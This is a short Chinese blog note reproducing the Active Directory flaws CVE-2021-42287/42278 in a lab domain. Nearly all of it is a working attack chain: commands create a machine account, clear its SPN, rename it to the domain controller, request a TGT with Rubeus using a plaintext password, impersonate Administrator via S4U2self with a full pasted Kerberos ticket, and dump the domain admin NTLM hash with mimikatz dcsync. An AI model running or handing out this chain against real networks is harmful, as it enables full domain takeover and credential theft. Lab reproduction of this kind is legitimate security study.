CVE202142287/CVE202142278 复现

根据:https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ走了一遍,留个笔记

  1. 创建机器用户hello
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount hello -Domain sync.net -DomainController sync-dc.sync.net -Verbose



2. 删除spn记录

Import-Module .\powerview.ps1
Set-DomainObject "CN=hello,CN=Computers,DC=sync,DC=net" -Clear 'serviceprincipalname' -Verbose


3. 重新设置机器名

Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount hello -Value "sync-dc" -Attribute samaccountname -Verbose


4. 请求TGT

Rubeus2.exe asktgt /user:sync-dc /password:zy123!@#45 /domian:sync.net /dc:sync-dc.sync.net /nowrap


5. 恢复原来的机器属性

Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount hello -Value "hello" -Attribute samaccountname -Verbose


6. Request S4U2self(获取票据)

Rubeus2.exe s4u /impersonateuser:Administrator /nowrap /dc:sync-dc.sync.net /self /altservice:LDAP/sync-dc.sync.net /ptt /ticket:doIEuDCCBLSgAwIBBaEDAgEWooID2jCCA9ZhggPSMIIDzqADAgEFoQobCFNZTkMuTkVUoh0wG6ADAgECoRQwEhsGa3JidGd0GwhTeW5jLm5ldKOCA5owggOWoAMCARKhAwIBAqKCA4gEggOEctv8iHSYZ1VmMmu9lCIWyqRMPwSudSYT/ZhbgVCggrSHUD2HZdj5cp5PlC4eTjpuUF6tli8MfdNc/orzs/J+zaEpSMAuS60FIjImoTEzLwiyKeKoVCOKnwdsetfExr+NXK8PqFGE6VFWcAn3PbEGwTPd/oBYvtYWKOQhbDbWgjKod5VeO1iMK7HfGM31v5ZO9p9lXs+FREoEaTl7+qaMx1NJJNXjj1JXXt1GoFC52/sBzUy0bXHY8UVTzCZsTF/JMvrt50F+SOnXV4aGNXNEuZ3WUpxMHIh488vfJ/AbpLI+gf7uvlgmMsl2NoYyF36AgaApTHwYEV/Uhm29epmclR6cL6+cSf7oZzYLCWHjp5fmyTpp9JMfeiR0gXi/B3JyJqVHV9E46fwIT1VYE/QXdq2EH73OMH2T24EQ6piToKUB7Wo6vHqndU65lsUlkNoYs1ppKU4FIfItb8gWaO9tL1qL+DAYwW7FWnBghIvJ6NW5tgl7zXh2rbSCNNMSOKPdbL6ZukonsVICuHYrsiP2ovb7RZmqPBhgAFc8WqbjIdAsuZJ9TgowFf0BXlXNONQSyGTK8hX1dve16GQ2HTZy4ibH9EL6g2E1VRWiOwfHDQkbawiJjsoWX0EAMPCKu/DP35TR4gwe972J6yhHvUZq5nJkQcVLm9OCy++YbXw64EfzFnDmTvI3VkHuB6dH1nO3qGpKkhbp39e+CuwGS3FKrYtCYZXaNFCi9I3XOh2aow8GnZ/5iRoHGr1hlpf8I18bSk7Ve/zobznX57KBDV8relz0d2lpmDMw4B0drxQQINoSPYwA3upbM6C7r9QjawvyYQIeuydEybLo47uuY1cQbI2KI71O3kOObMaFu5/3q7ALhW975J2rQ0gtLrduiw2sbliD6pV2MGwz1MgI0PhJlyXsANmGGnQHLRJrO/xVrcryVRBIUbEKYfC6YWhqwof9+/BcGRmRFSudPqi6sXwJmsAjbaRfpse6U/0yqyKcseape9P9T0P1OgrjPEX5g3BUy18cJZZ/fR0yMnpZc7huK9rF+dktgjxWL9HL8iFXlrOniVicTtoUclJfXM5em6+3KOHIaE+uk3cEtq0UEyT/U4LGsr4l2UON6ZBSbnq6ZliX2UXTlZYRKe8k3F28DOUw3XlBpCNYG4PwcT59mR22jZth4PatKBhTShTPiMXdiwLgUMKso4HJMIHGoAMCAQCigb4Egbt9gbgwgbWggbIwga8wgaygGzAZoAMCARehEgQQTffKRcd/1+EY5yLZ8fESGaEKGwhTWU5DLk5FVKIUMBKgAwIBAaELMAkbB3N5bmMtZGOjBwMFAEDhAAClERgPMjAyMTEyMTMwNDU0MjVaphEYDzIwMjExMjEzMTQ1NDI1WqcRGA8yMDIxMTIyMDA0NTQyNVqoChsIU1lOQy5ORVSpHTAboAMCAQKhFDASGwZrcmJ0Z3QbCFN5bmMubmV0
  1. 获取 域管用户的 NTLM Hash
lsadump::dcsync /user:sync.net\administrator

原文地址:https://www.cnblogs.com/mrhonest/p/15682858.html